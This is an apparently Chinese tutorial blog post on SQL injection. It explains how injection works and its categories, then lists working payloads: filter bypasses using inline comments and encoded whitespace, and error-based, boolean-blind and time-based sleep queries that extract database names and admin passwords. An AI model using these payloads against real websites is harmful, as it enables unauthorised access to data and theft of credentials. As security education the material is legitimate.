SQL注入

**

sql注入

**
SQL注入(SQL lnjection)是一种常见的WEB安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。
**

SQL注入原理

通过用户可控参数中注入SQL语法,破坏原有SQL结构,达到攻击的行为。
1:处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句
2:未对用户的输入的参数进行足够的过滤,便将参数的内容拼接到SQL语句中
**

漏洞的危害

1:利用sql出任漏洞,可以获取数据库的多种信息,(列如:管理员后台账密),从而脱取数据库中的内容(脱裤)
2:修改数据库中的内容,插入内容到数据库,删除数据库中的内容。
3:利用SQL注入漏洞直接获取webshell或者服务器权限。
**

SQL注入漏洞的分类

数字型
字符型
SQL注入4大手法
联合查询
报错注入
布尔盲注
延时注入
**
1:注入点的判断
会在疑似注入点的地方或者参数后面尝试提交数据,从而进行判断是否存在SQL 注入漏洞。

**

注入判断

**
1:-1 或 +1是否能够回显上一个或者下一个⻚面(判断是否有回显)
2:'或"是否显示数据库错误信息;回显的⻚面是否不同(字符型还是数字型)
3:and 1=1 或者 and 1=2回显的⻚面是否不同(布尔类型的状态)
4:and sleep(5)判断⻚面的返回时间
6:\判断转义

~回显
数据库中的内容是否有回显

~~数据库报错
1:数据库报错信息是否回显在网页中
2:提交的数据是字符型还是数字型
3:如果是字符型数据,闭合方式是什么。

~~布尔类类型的状态
1:回显的页面不同,形成对比
2:页面正常或者不正常

~~延时
1:让数据库沉睡响应的秒数

SQL注入的流程
数据库名->表名-> 字段名->字段内容
在这里插入图片描述

内联注释
如果服务器过滤了空格可以采用内联注入绕过

//
?id=1’/!/and/!/1=1%23
?id=1’/
/and/**/1=1%23
?id=1’/!50001/and/!50001/1=1%23
可以代替空格的字符
?id=1’%0Aand%0A1=1%23
?id=1’%0Band%0B1=1%23
?id=1’%0Dand%0D1=2%23

报错注入是固定的公式可以利用函数
~~group by
and (select 1 from (select count(*),concat(0x5e,(select passwordfrom cms_users limit 0,1),0x5e,floor(rand()*2))x frominformation_schema.tables group by x)a)

~~extractvalue
and extractvalue(1,concat(0x5e,(select database()),0x5e))

~~updatexml
and updatexml(1,concat(0x5e,(select substr(password,1,16) fromcms_users),0x5e),1)

布尔盲注
先猜数据库名字的长度
and length (database())=3
在利用ascii猜位数
and ascii(substr(database(),1,1))>99
and ascii(substr(database(),1,1))=99

延时注入
利用sleep()语句的延时性,以时间线作为判断条件
判断数据库的长度等于8
and if(length(database())=8,sleep(5),1) --+

数据库名装位数进行ascii位判断
and if(ascii(substr(version(),1,1))=49,sleep(5),1) --+

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值